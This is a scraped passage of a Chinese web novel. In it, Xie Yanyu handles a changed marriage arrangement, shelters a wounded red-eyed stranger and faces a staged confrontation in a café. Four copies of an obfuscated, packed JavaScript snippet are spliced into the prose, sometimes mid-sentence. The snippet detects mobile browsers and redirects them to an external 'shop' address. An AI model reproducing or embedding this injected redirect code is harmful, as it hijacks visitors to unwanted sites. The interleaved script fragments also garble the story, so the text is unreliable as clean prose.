谢烟雨扫了一眼备注,眉头一皱,“我去接个电话。” 谢骁乖乖点头。 谢烟雨去了阳台,把玻璃门关上,确认窗帘后的谢骁不会露出半分才接通。 “为什么不去找秦家的人?”谢父的第一句话就是问责。 谢烟雨微不可察地蹙了蹙眉,手搭在栏杆上,缓慢而轻微地扣着上面的雕刻的花纹,“听说你要给我换联姻对象。” “你既然知道,为什么还不去找秦家人?”谢父的语气更重,他眯着眼睛打量自己的女儿。 她从小就爱生病,养了许多年也未见好转,此刻站在微风中,纤弱的仿佛下一瞬就会被吹走。 她聪明,也懂得权衡利弊,谢父相信她能理解自己。 他说:“秦宥失踪,皇室迟迟未出面,你知道意味着什么吗?” 若说早上只是猜测,现在谢父的话则让谢烟雨肯定,秦宥被皇室放弃了。 晚风微凉,拂过时带走几分温度。 谢烟雨指尖冰凉,指甲在栏杆划出一道痕,带着些许疼意。 她几乎在瞬间确定了谢父的意思。 谢父也放弃了秦宥,但他不肯放弃赢面最大的二皇子,婚不可能退,人选变了。 秦家小辈中,只有秦明朗年龄合适,可秦明朗,是一个不学无术的人渣。 有关秦明朗的各种丑闻在脑海里一闪而过,谢烟雨闭了闭眼,松开了抓着栏杆的手。 她抬眼看向谢父的投影,声音被风一吹,染上几分冷意,“你想让我做什么?” 看她似乎是妥协了,谢父满意地点头,“答应秦明朗的见面邀约。” 挂了通讯,谢烟雨扯了扯嘴角,抬起的双眸浸满寒意。 当初答应和秦宥订婚,不过是清楚自己根本活不到结婚那天,顶着秦宥未婚妻的名头,行事也便利许多。 如今只要完成任务就可以拥有普通人一般的寿命,她自然知道怎么选,她向来懂得权衡利弊。 谢烟雨点开光脑,找出陆安然的联系方式。 她记得陆安然的哥哥是容萱的副官,都是军团中人,秦宥参加的那场战役,他说不准知道些什么。 给陆安然发完消息,谢烟雨顿了顿,找出秦宥的联系方式,也发了几条消息,都是些关心的话语。 秦宥迟早回归第一军团,光脑里的消息只要不被删除就会被他看见,有助于任务。 做完这些,谢烟雨转身回房间,发现谢骁已经睡着了。 他缩在床上,小声地打着呼,大约是翻了几次身,宽松的睡衣被蹭上去,露出底下的青紫伤痕,都上过药了,但看着比上午的更加可怖。 想到幼儿园的事,谢烟雨重新点开光脑,准备给谢林臣发几条消息,却发现他发了新消息过来。 【事情已处理。】 【多谢。】 下面一条转账记录。 谢烟雨数了数,足足六个零,着实慷慨。 她估摸着谢林臣没睡,把钱转回去,【不要钱,帮个我忙。】 谢林臣很快就回了消息,【你说。】 谢烟雨把自己的要求发过去,谢林臣回了一句收到,又把钱转回来,【收着吧。】 这次谢烟雨没再退回去,发了张表情结束两人的对话。 她正要关光脑时,谢父的消息跳了出来,说的是处理宴会上那几个人的结果。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714742|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢烟雨粗略地扫了一眼,关掉光脑。 快十一点了,她该睡了。 关灯的时候谢烟雨犹豫了一下,最终还是没有让人进来抱走谢骁。 她躺在右侧,身体有些僵硬,借窗外路灯的光盯着天花板,感觉熟悉的房间多了几分陌生。 谢骁睡得很香很安稳,躺在一侧几乎不怎么动。 谢烟雨听着他有节奏的呼吸声,身体渐渐放松,起了困意。 就在她要掉入睡梦中时,阳台那边传来一声轻响。 谢烟雨瞬间睁开双眼,方才还朦胧的睡眼里全是清明。 她放缓呼吸,抬眼看过去,阳台玻璃门上映着一道模糊的人影。 人影晃动几下,慢慢矮下去,似乎是蹲在了阳台的角落里,谢烟雨只能看见他被风吹起的碎发倒影。 等了几息,那人确实不再动,谢烟雨伸出手拿过光脑,联系管家让他带人进来,又拉起被子盖住谢骁。 她的动作很轻,也时刻注意着阳台那边,可那人还是站了起来,目光穿透重重黑暗,精准地落在她身上。 谢烟雨心跳有些失常,她轻呼口气缓解心脏的疼意,翻身下床。 随着她的动作,落在身上的目光更加强烈。 手中的光脑小幅度地震了一下,谢烟雨扫了眼,心中微定。 那人始终未有动作,她一步一步地走到光透进来的地方,隔着玻璃门,看清阳台上逆光而站的男人。 男人一身黑衣,手中抓着什么东西,见她视线落下就把东西塞进裤兜中。 他往后退了一步,手搭在栏杆上时刻准备离开,红色的眸子里透着警惕。 两人对视上的刹那,谢烟雨有些讶异,“是你。”宴会上扶她下楼的那人。 男人好像也认出了她,手指微动,松了几分力道。 借着月光,谢烟雨看见被他松开的栏杆上多了一抹水光。 晚风掀起厚重的窗纱,送来一股浓郁的血腥味,谢烟雨握着光脑的手紧了两分。 就在她犹豫要不要救人时,身后传来一道睡意朦胧的声音,“小姑,你站在那里做什么啊?” 接着是掀被子下床的声音。 谢烟雨几乎是脱口而出,“别动!” 谢骁愣住了,因为睡意微眯着的双眼睁大。 他发现房间里的氛围有些不对劲,不敢再动,就着下床的姿势半靠在床边,手里紧紧握住被子。 今天的风有些大,尽管门窗紧闭,也让谢烟雨身上的睡裙飘动。 男人似乎确定了什么,收回看向屋内的目光,搭在栏杆上的手再次握紧,用力一撑,翻身跳了下去。 谢烟雨站了一会才上前查看,除了一瘫血渍,什么都没有了。 她呼出一口冷气,对谢骁道:“没事了。” 谢骁立刻跑过来拉住她,却被她手心温度冰了一下,下意识握得更紧。 他抬起头,发现谢烟雨脸色苍白如纸,有些担忧地喊:“小姑。” “没事,缓缓就好了。”谢烟雨轻声道。 谢骁刚从被窝中出来,身上带着热意,被他牵住的手很快暖和起来。 谢烟雨的心跳频率逐渐回归平稳,疼意被渐渐压下去。 她垂眸,正要跟谢骁说什么,就见地面上不知何时多出一道长长的影子,正好横在她和谢骁的影子中间。 5. 帮助 谢骁也看见了,他抓紧谢烟雨的手,低声喊了一句,“小姑......” 谢烟雨安抚地摸了摸他的头,将谢骁拉到自己身后。 她的手心冒出一层薄汗,侧头的动作都有几分僵硬,抬眼望向阳台。 那个男人站在方才的位置,微蹙着眉,看过来的视线带着些许苦恼。 谢烟雨不能确定这人会不会伤害自己和谢骁,也不想去探究他身上的伤从何而来,只想等管家带人进来,待掌握主动权时再进行抉择。 但她还没来得及拖延时间,就听男人抿着唇轻声道:“下边好多人,走不了。” 他声音沙哑,说话时带着独有的韵律,优雅又好听,不过现下没有人会去欣赏。 想说的话瞬间卡住,谢烟雨皱眉,好多人? 手腕的光脑又震了一下,似乎是管家等不及了,门口传来细碎的动静。 谢烟雨想起自己联系了管家让他带人过来,男人口中的好多人应该就是他带过来的。 没等到回答,男人晃了晃遮挡视线的碎发,想要把谢烟雨脸上的表情看得更加清楚。 红色的眸子没有了遮盖物,在月下更加明显,像是两颗成色上好的红宝石。 谢烟雨扣手心的动作一顿。 身后的谢骁悄悄探头,看见男人惊喜喊道:“那个帮了我的哥哥!是你啊!” 男人歪了歪头,眼神从谢烟雨身上挪到谢骁身上,从少的可怜的记忆中找出那么一小段记忆,小孩的小脸跟记忆里的对上号。 他点了点头,碎发遮盖住猩红的双眼,看起来有一丝丝呆。 似乎是知道谢烟雨才是做主的那一个,男人点完头之后重新看向她,这次声音带了点轻快,“等人少了,我马上走。” 他帮过谢骁,也帮过自己,虽然谢烟雨没有完全放下警惕,但却松了口气。 谢骁已经和男人聊了起来,多数是他在说,男人点头或摇头。 他没有谢烟雨那么多顾虑,可聊归聊,却一步都没有靠近男人。 过了会,他拉了拉谢烟雨的手,轻声说:“小姑,他好像受伤了。” 月色朦胧,男人又穿着深色衣服,很好地掩住自身伤势。 要不是谢骁的话,以及抬眼就能看见的干涸在栏杆上的血迹,谢烟雨都要以为这人没有受伤。 想到宴会上的那杯温水,她又轻轻扣起自己的手心。 就在这时,门口的动静大了些,伴随着管家担忧的声音,“小姐!” 男人身形一顿,手抬起重新搭在栏杆上,目光却落在谢烟雨身上。 这一次,谢烟雨抬眸对上他的视线。 男人猝不及防,歪了歪头,额前的碎发在空中晃出一道弧度又落下,看起来很是无害。 他眨了眨眼,悄咪咪往后退了一步。 谢烟雨一直注意着他,自然没有错过这个小动作,不知为何,她下意识松了口气。 她拉着谢骁转身往门口走,男人不明所以,又往后退了退,控制在一个可以随时逃跑但底下的人又看不见他的范围。 门口,管家待不住地转圈,搓着手一遍又一遍地催促撬门的人加快动作。 他收到消息立马带着人过来了。只是没有亲眼看见谢烟雨,他这心里始终七上八下的。 门边传来轻响,下一秒,他担心的谢烟雨从里边打开了门。 管家一愣,快步上前拉着谢烟雨打量,语气担忧,“小姐,您没事吧?” “没事。”谢烟雨垂眸看了眼谢骁,后者点头,小跑着离开,有女佣看见后跟了上去。 想到还待在阳台的男人,谢烟雨对管家道:“把人都撤了吧,我没事。” 管家有些迟疑,探着头往屋里头看了看,凑近谢烟雨压低声音道:“小姐,我喊的人够多,我们不用怕。” 他怕谢烟雨被挟持了,现在在说反话。 谢烟雨眼神柔和下来,拍了拍管家的肩膀,“李叔,是我认识的……一个朋友。” “……”李叔眼神犹疑,什么朋友半夜爬窗进来? 谢烟雨道:“要是你不放心,就留一部分人守着,让其余的回去吧。” 李叔应了声,再次确认后迈步离开,其余人也被他带走了,留下一个抱着医药箱的谢骁。 谢烟雨和谢骁进去直奔阳台,男人没有走,正侧着头看楼底下陆续撤离的人。 听见脚步声转头看过去,见是谢烟雨两人眨了眨眼。 谢烟雨让谢骁待在原地,自己小心地上前把医药箱放在玻璃门旁边,起身时想到了什么,问:“会处理伤口吗?” 男人看着她,点了点头。 于是谢烟雨拉着谢骁快步远离阳台,等了会就听见玻璃门被打开,医药箱被拿走的动静。 谢骁看看谢烟雨,又去看打开医药箱正在处理伤口的男人。 房间里安静得只有男人拆物品包装的声音,谢骁想要看清楚他是哪里受伤,挪了挪身子。 被谢烟雨误以为是害怕,抬手捂住了他的眼睛,“别怕。” 她声音很轻,捂住眼睛的动作更轻,谢骁顿了下,乖乖缩回身子,安静地贴在她身边。 男人注意到了这边的动静,手中的动作停住,过了会又响起。 谢烟雨侧头去看,发现他背过了身,把看不清的血色藏在身前的黑暗中。 处理完伤口,楼底下的人也走得差不多了。 男人把医药箱放回原位,看了眼谢烟雨,“我要走了。” 谢烟雨点点头。 男人等了会,发现她不打算说话,就转过身准备离开。 他的手搭上栏杆,刚准备用力,谢骁站了起来,朝他问:“哥哥,你叫什么啊?” 男人身形一顿,抓着栏杆用力道紧了几分。他没有说话,连头也没有回,撑着身子跳了下去,消失在漆黑的夜幕下。 他走后,谢骁等了会,走过去把药箱拿回来,锁好玻璃门。 谢烟雨看着他动作,沉默地点开光脑,在备忘录上添了一项:睡觉前必须锁阳台玻璃门。 谢骁把药箱放在客厅的茶几上,反身回去拉谢烟雨,“小姑,好困,我们快快睡觉觉啦。” 谢烟雨嗯了一声,看了眼时间,已经是凌晨一点。 这次没有特殊情况,两人顺利陷入睡眠。 再睁眼便是第二天早上。 谢烟雨昨日晚睡了两个小时,今天却没有什么不舒服,她猜测是身体有了好转。 690说一个月内会恢复健康,这么快就有效果了,谢烟雨心中开心,脸上也带出几分。 谢骁睡眼朦胧地站在她身侧和她一块刷牙,含糊不清地说:“小姑今天很开心。” “嗯。”谢烟雨点点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714743|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起昨天没来得及问的事,“你和那人是怎么认识的?” 谢骁吐掉泡沫,刚想说话,感觉没吐干净又呸了几口,“他帮我一起打肖海!” 顶着呆毛的谢骁挥了挥拳头,想起幼儿园里男人帮他的动作眼睛亮亮的,“肖海喊了一帮人过来,但是他把所有人都拦住了!” 肖海是昨天那个胖男孩,谢烟雨有点印象,“他在幼儿园里工作?” 这个猜测出口,谢烟雨就先否定了。要是真是幼儿园的工作人员,昨天去办公室应该能看见,但他不在。 果然,谢骁摇摇头,“不是,他帮完我就飞走了,跟昨天一样。” 跟昨天一样? 谢烟雨想起男人单手撑起身子跳下去的背影,那就是翻墙出去的。 既然是翻墙出去的,大概率也是翻墙进去的,只是,他去幼儿园干什么呢。 男人身上浸满鲜血的衣服在谢烟雨脑海里一晃而过,她眨了眨眼,后知后觉,流了这么血都没晕,那人真的是正常人吗? 那双红色的眸子突然出现在眼前,谢烟雨下意识往后退了一步,眨眼再看,那有什么红色的眸子。 谢骁洗好脸抬头,透过镜子看她,见她一脸怔愣,有些疑惑地歪了歪头,“小姑?” “没事。”谢烟雨打湿毛巾,盖在脸上,心想,昨天果然还是太晚睡了。 洗漱完,谢烟雨照例运动。 谢骁在旁边看着,觉得好玩,模仿她的动作在旁边嘿咻嘿咻地喊。 运动完,姑侄俩出了一身汗,各自洗了个澡,在楼底下坐着一块吃早饭。 大概是做完被谢烟雨带着睡觉的缘故,谢骁比起刚见面的时候,对谢烟雨更加亲密,吃饭也要挨在一处。 吃完还期待地问:“小姑,你要送我去上学吗?” 谢烟雨本就打算出门,绕点路也无所谓,于是点头,“好。” 她估算了下时间,跟陆安然约在一个小时后见面。 谢骁开心地翘脚,黏糊糊地喊:“小姑对我真好~” 谢烟雨挑眉,脸上带了点笑意,“送你去幼儿园就好?” 谢骁猛猛点头,给她夹饺子,“这个好吃,小姑吃这个!” 吃完饭,谢烟雨让李叔联系司机,今天开谢林臣送的那辆悬浮车。 幼儿园的孩子是年幼,却也会看菜下碟。比如胖男孩肖海,因为平日里谢林臣低调,就以为谢骁可以欺负,敢恶意辱骂,甚至敢说出打死他这种话。 这些事情在谢烟雨看来都是可以避免的。限量款悬浮车,小孩子看不出门道,那些送孩子上学的家长以及老师肯定有能看出来的。 有钱人的身份,至少能解决百分之七十的隐患。 谢骁不知道自家小姑还想着昨天的事,开开心心地拉着人上了车,并没有发现眼前这辆悬浮车与往日的有什么不同。 对他来说,最重要的还是谢烟雨送他上学这件事,能让他高兴好多天。 他甚至悄摸着发消息给谢林臣,【爸爸爸爸,今天是小姑送我上学哟!】 不知道谢林臣收到消息是什么表情,反正谢烟雨看见是觉得有些奇怪,又有点愉悦。 还是第一次有人炫耀她。 再看谢骁,谢烟雨眼底的温情又多了几分。 把谢骁送到幼儿园,谢烟雨直奔和陆安然约好的见面地点。 6. 再见 中央广场右侧街道的一间咖啡厅里,店员刚开门就迎来了今天的第一位客人。 “欢迎光临。”店员把人迎进去,又去前台拿菜单,“您看看想要点什么。” 陆安然接过菜单扫了两眼,用手指点了点自己想要的餐品,“这两个吧。” “好的,稍等。”店员记下后转身离开。 早上八九点的太阳并不烈,甚至有些温暖。 陆安然坐在窗边,被晒得暖洋洋的,忍不住眯了眯眼,往后坐把背靠在沙发上,有一搭没一搭地想着谢烟雨约自己出来的目的。 她和谢烟雨其实不太熟,最近的一次交集还是在三年前,谢烟雨被一群人欺负,她帮了一把。 后来听说谢烟雨退了学,而她学成毕业后去了别的星球深造,两人再也没有见过,直到昨天。 想到昨天的见面,陆安然皱了皱眉,正巧店员端着甜品和咖啡上前,她顺势把这事抛在脑后,开始享用自己的早饭。 不经意间抬头看见店员在和一名年轻男人交代什么,扫了眼觉得眼熟又看过去,那男人有着一双红色眼眸,不说话时看着有点吓人。 不是自己认识的。陆安然下了这个定论后收回视线。 她吃完甜品没多久,谢烟雨就到了,站在门口往里看了一圈,看见她后迈步上前。 谢烟雨边走边看时间,自己并没有迟到,但看陆安然的模样显然来了好一会了。 她在陆安然对面坐下,“安然,久等了。” “是我来早了。”陆安然把菜单递给她,抬手叫来店员。 “谢谢。”谢烟雨接过低头看了一眼,对一旁等待的店员说,“来杯温牛奶,谢谢。” 店员笑着回应,记下后离开。 谢烟雨将自己过来时买的花束递给陆安然,笑着道:“路过时看见,觉得你应该会喜欢。” 鲜艳的红玫瑰花瓣沾着晶莹剔透的水珠,看起来娇艳欲滴,根茎的刺没有去掉,被包裹在里面,摸着并不扎手。 陆安然有些诧异地接过抱在怀里,手指划过花瓣点了点水珠,又往下摸了摸突出的尖刺,“你怎么知道我喜欢这个?” 谢烟雨回答:“偶然听见的。” 其实不是偶然,自从三年前在厕所被人霸凌时陆安然救下,她就开始有意无意地关注她,知道她喜欢甜品,也知道她喜欢带刺的红色玫瑰。 这花是她昨天提前定好的,却是很早就想送的。 陆安然抬眼看她,“说吧,找我出来干什么?” 谢烟雨知她脾性,也没有委婉,“我想麻烦你帮我问下你哥有关秦宥的事。” 陆安然猜她也是为这个来的,没说同意不同意,而是问,“联姻对象换了吗?” 那帮人的话她也听见了,如果秦宥出事,要不退婚要不换联姻对象,但现在谢烟雨过来找她,想来是不会退婚的。 谢烟雨点了点头,脸上看不出什么表情,“秦明朗。” 陆安然扯了扯嘴角,眼底闪过一抹讽刺,“你父亲真是……饥不择食。” 谢烟雨扣沙发的动作一顿,被她古怪的语气逗笑。 暖阳穿过落地窗撒在她身上,抚平她眉眼间的烦躁,给她消瘦的身躯注入几分生机。 陆安然静静地看着,很难将眼前的她与三年前满眼阴郁的人联系起来。 或许时间真的可以改变一切。不仅是物品,人也会随着时间变得或好或坏。 想到了什么,陆安然垂了垂眉眼,遮掩住眼底的情绪,再抬头时已然恢复神情,“想要我帮忙可以,你先回答我,你为什么……” “打扰一下。” 她话还没说完,那个有着一双红色眼睛的男人端着牛奶上前,放在谢烟雨面前,“这是您点的温牛奶。” 他似乎有些期待,说话时忍不住地看向谢烟雨。 谢烟雨点头,刚要道谢,看清人后难掩惊讶,“是你?” 这不是昨天刚从自己房间阳台消失的人吗?最重要的是—— 谢烟雨的目光在他穿的围裙上转了一圈,有些艰难地往下想,他受了这么重的伤,居然还能出来……打工? “我在赚钱。”男人眯了眯眼睛,宛若红宝石般的红眸露出些许高兴,“我先回去工作啦。” “……好。”谢烟雨点头,等他离开后又看过去,阳台的血迹今天早上还在,虽然已经干涸,但不难看出这人受伤严重。 这才过去一个晚上,他怎么看起来跟没事人一样,谢烟雨心底疑惑,收回自己探究的视线。 再抬眸,对上陆安然毫不掩饰的目光,见谢烟雨回头,她慢悠悠地收回视线。 她分明什么都没问,又好像什么都问了。 谢烟雨:“……” “方才你跟我说秦宥,我还以为你喜欢他。”陆安然没有再问刚刚没有问完的问题。 “算不上喜欢。”谢烟雨抿了口牛奶,神色平静,“他是个好人。” 陆安然摸花的动作顿了顿,“说他坑杀士兵的谣言现在满天飞,你还觉得他是个好人?” “是吧。” 谢烟雨放下杯子,转头看向外边,阳光撒在她脸上,显得整个人金灿灿的,“他在战场立下赫赫战功,是帝国英雄。” “这是谣言不能磨灭的功绩。”谢烟雨回头看她,“况且,谣言是不是真实的还尚未确定。” 陆安然也看她,半晌才道:“谢烟雨,你变了很多,以前的你可不会说这些话。” 顿了顿,她说:“你说的忙,我帮了,有消息会告诉你。” 谢烟雨真心实意道:“谢谢。” “不用客气,有空多出来玩。”陆安然站起身,语气轻快,“你现在这样,还挺有趣的。” 谢烟雨眼睛微亮,“那你以后也会找我玩吗?” 陆安然弯腰抱起玫瑰花束,闻言点头,“当然。” 她还有事,并未跟谢烟雨多说,道别后很快离开。 谢烟雨起身送她,见她出了咖啡厅才重新坐下,侧头看过去,门外的陆安然上了一辆银白色的悬浮车。 视线穿过打开的车门,她瞥见了一抹感觉熟悉的身影,正要再看看是谁,门被关上,陆安然和那抹身影都消失了。 悬浮车很快离开,谢烟雨收回视线,心中有些奇怪,却并未多想。 抬手端起杯子将剩余的牛奶喝完,她站起身准备结账离开,只是还没走两步,就被一个不知道从哪里窜出来的人拦住去路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714744|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “谢小姐!谢小姐!”男人眼珠布满血色,一动不动地凝视着谢烟雨,声音哑得吓人,“求求你放过我吧!” “求求你放过我吧……我错了,我真的知道错了……”他扑通一声跪在地上,边说边哭,还想伸手抓谢烟雨的腿。 谢烟雨吓了一跳,很快反应过来往后退,一边抓起桌上的杯子摔在两人中间阻止男人前进,一边厉声道:“你想干什么!” 这边动静太大,咖啡厅里的客人转头看过来,店员也很快赶过来,试图拉起地上的男人,“先生,先生,咱们先起来……” 男人挥开店员,他力气大,店员因为想要拉他是弯腰状态,被他一推差点摔倒,谢烟雨扶了一把。 店员低声说了句谢谢,正要上前劝人起来,就见男人被一只大手拎了起来,没一会脸就被衣领勒的发青。 店员急道:“阿一,快把人松开!” 一号没听,悄咪咪看了眼谢烟雨,发现后者没什么表情,他才松手,松手后立刻站在谢烟雨身前,冷冷地看着男人。 男人比他矮,拎起来的时候脚不沾地,一号放手时他还没反应过来,腿一软摔在了地上,发出砰的一声。 店员急急忙忙上前要扶他起来,“先生!先生您没事吧!” 男人面部颤抖,死死克制住想要动手的欲望,店员抬手扶他,他下意识一掌拍过去,刚伸手就被一道冰冷的视线钉在原地。 一号冷眼看他,红色眼眸闪烁着野兽般的凶狠。 一股寒意从脚底板蹿上心头,等男人反应过来时,他已经顺着店员的手站起来了。 他想走到谢烟雨跟前,却被一号挡住,他一动,一号就动,看眼神,分明是还要拎他一次。 他只好站在原地,看向一号身后的谢烟雨,满眼悲戚,神色痛苦,“谢小姐,我家孩子只是骂了几句你家孩子而已,我们知道错了,求求你原谅我们吧,放过我们吧!” 一号身后的谢烟雨神色冷漠,她认出眼前男人是谁了,那个胖男孩肖海的父亲。 男人见她毫无反应,狠狠地闭了眼,猛地跪在地上冲谢烟雨磕头,“谢小姐,我知道错了!求求你,放过我的家人吧!我孩子才五岁,他还这么小啊!” 他用力地磕着头,痛苦地喊道:“他还这么小啊!!” 他声音嘶哑,已经不再年轻的脸上涕泗横流,任谁看了都是一个可怜的父亲被人逼上了绝路。 旁边的店员面露不忍,侧开身子不再看。 看过来的人越来越多,甚至店外路过的人都被吸引投来视线。 甚至有人拿出光脑录视频,一录一边指指点点,“大家都来看看,光天化日之下就这么欺负人,还有没有天理有没有王法了!” “小孩子说错话而已,居然把人逼到这种程度,现在有钱人的心眼也忒小了!” “这人头都磕肿了,看来真的很委屈,有钱人真过分!” “也不是什么大事,用得着这么上纲上线吗?太离谱了吧?” 有人对男人喊,“哥们,别求她了,报警吧!你都快家破人亡了,还求她,还不如报警呢!” 那人说完瞪了眼谢烟雨,神情自得,仿佛做了一件天大的好事。 7. 送花 带着谴责的目光铺天盖地地砸向谢烟雨,议论声越来越大,皆是同情与不忍。 只有一号面无表情,甚至挪了挪脚,更加靠近谢烟雨,以防有什么意外发生。 人群中的谢烟雨没有看伏地痛哭的男人,也没有看义愤填膺的众人,她先看了眼站在自己身侧的一号。 一号感受到她的视线,微微侧头,轻声道:“别怕。” 谢烟雨眨了下眼,心想自己可没怕,只是好奇而已。 她看向肖海的父亲,这人句句都在让她放过,却没有一句道歉,还妄图利用舆论施压。 谢烟雨并不知道谢林臣做了什么,但能让这人豁出去跪地磕头,想来不是破产就是被削职,或者两者皆有。 对他出手的是谢林臣,这人却找上了她,还演了这么一场戏,无非是觉得她容易欺负,好拿捏。 谢烟雨眼底划过一抹讽刺,“你让我放过你?” 她从一号身后走出来,对身形止不住颤抖,仿佛悲痛欲绝的肖海父亲道,“你要打死我五岁侄子的时候,可没想着放过他。” 她声音不高不低,围在周边的人听得清楚,闻言俱都一愣,看向肖海父亲。 后边听不见谢烟雨说话的人还在议论,前边的齐齐陷入沉默。 打死五岁的孩子? 这是正常人能干出来的吗? 质疑的目光落在肖海父亲身上,让他哭声一顿。 从幼儿园回去后他调查过谢烟雨,上学时被人欺负了整整半年,后来陆安然碰巧撞破,这件事才被谢家人知道,紧接着她便退学,闭门不出三年。 加上幼儿园对峙的事后她没有一点动作,根本不像一出手就断了他所有后路的谢林臣,他觉得谢烟雨是怕了。 毕竟谢家对谢烟雨被欺负这么久的事都不知道,肯定不在意她,秦宥又出事失踪,现在根本没有人能护住她。 所以她不敢出手对付自己,她怕自己报复她。得出这个结论后,肖海父亲立刻策划了这么一场“道歉”。 在他的设想里,自己苦苦哀求,众人步步紧逼,退无可退的谢烟雨肯定很慌,他再一刺激,加上威逼利诱,谢烟雨就会去找谢林臣放过自己。 只是他没想到,谢烟雨一点都不慌,甚至满眼冷漠,居高临下站着时落下来的视线宛如看死人一般,“你打我侄子的时候想过放过他吗?” 她在幼儿园办公室里也问过这句话,当时男人沉默了,现在他倒是想说话,可一对上谢烟雨的视线就血液倒流,手都抖了几分,压根说不出话来。 谢烟雨分明什么狠话都没说,但他从她眼里看出四个大字——你死定了。 完了。 他想,这病秧子根本就不是任人拿捏的软柿子! 但事情到了这个地步,他硬着头皮也要演下去,不然真的一点翻盘的机会都没有了。 想到这,他通红的眼眶瞬间蓄满泪水,“谢小姐,你不想放过我也不用编这种谎话吧!” 他声音疲惫不堪,苦笑摇头,“我是一名军人!首要任务就是保护帝国民众!怎么可能会对一个五岁孩子下手!” 众人的目光齐刷刷地看向谢烟雨,有一部分在方才沉默的人像是找到了缺口,开始阴阳怪气。 另一部分人则更加沉默,可以看得出来那位谢小姐根本就不怕,无论是她有理还是无理,这种态度足以证明她不是能轻易招惹的。 谢烟雨神色未变,她并不接肖海父亲的话茬,而是质疑道:“你说你是军人?哪个军团的,徽章在哪?” 谢林臣出手从不给人留后路,她猜肖海父亲已经没有了能证明身份的徽章。 果不其然,听到这话,肖海父亲脸上的表情差点凝固,他的徽章?在上级知道这件事后就被收了回去,到现在也没有还回来的迹象! 什么让他闭门思过,分明是让他最好再也不要回去,要不是没了这层身份,他怎么会豁出来找谢烟雨? 他的迟疑太明显,刚刚站在他这边的人忍不住催促,“就拿出来呗,徽章而已!” 众人的催促声越来越大,肖海父亲的神情几经变幻,最后定格在狰狞,“谢烟雨!我绝对不会放过你的!” 说完,他飞快起身,灵活地穿过呆愣的人群,想要跑出去。 一号一直防着他,他一跑就跟了上去,没一会就拎着剧烈挣扎的肖海父亲回来了。 众目睽睽之下被人跟拎老鼠一样拎着,他满脸通红,羞辱和羞耻瞬间淹没了他,让他濒临崩溃,“放开我!” 害怕他胡乱动作打到谢烟雨,一号离得有些远,提高声音对谢烟雨说:“他假冒军人欺负你,把他送警局吧!” 谢烟雨还没说话,感觉被骗了的众人同仇敌忾,“对!这种骗子就该送去坐牢!” “老天!我都不敢想,他还想打死一个五岁的孩子!” 话被传来传去,最后传成他已经打死了一个五岁孩子,立马就有人报了警。 比警察先来的是李叔,他接到谢烟雨发的信息后立马带着人往这边赶,心里琢磨着要给自家小姐找几个保镖了,免得出门在外受欺负。 李叔是谢烟雨母亲留下来的人,看着谢烟雨长大,感情深厚,谢烟雨待他和旁人也不太一样,多了几分信任与依赖,所以见到肖海父亲的第一反应就是喊他过来。 李叔穿过人群走进咖啡厅的第一件事,是拉着谢烟雨认真打量,“小姐,没受伤吧?” “没有。”谢烟雨安抚地拍了拍他的臂膀,示意他看一号手里拎着的人。 李叔扫了一眼,皱起眉,低声道:“我知道该怎么做的,小姐放心。” 没过多久,警察来了,问清楚事情后拷着肖海父亲离开,李叔跟着前去做笔录。 没了热闹可看,围观的群众渐渐散了,咖啡厅重归安静。 店员回去工作,一号却没有离开,先是瞅了眼跟门神似的杵在谢烟雨身后的彪形大汉,随后移开视线,对谢烟雨道:“我有东西给你,你等我一下好不好?” 谢烟雨点头,“好。” 她无视掉店里那些有意无意的眼神,对身旁李叔留下来的两人道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714745|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们去外面等我。” “是。”两人转身离开。 谢烟雨跟上一号的脚步,没想到她会过来,一号眼睛亮了几分,往她身后看了看,“你让他们走了?” “嗯。”他跟自己说话前看了眼那两人,谢烟雨以为他是让自己支开他们有话说,恰好她也有想问的。 她抬眸问眼前的男人,“你要跟我说什么?” 鉴于他刚刚站在自己身边,谢烟雨神色缓和,没有昨晚的深重防备。 一号走在前边,闻言愣了下,很快笑开,“马上到啦。” 他领着谢烟雨走上二楼,打开一间休息室,从里面取出一束白色山茶花递给谢烟雨,“送给你的。” 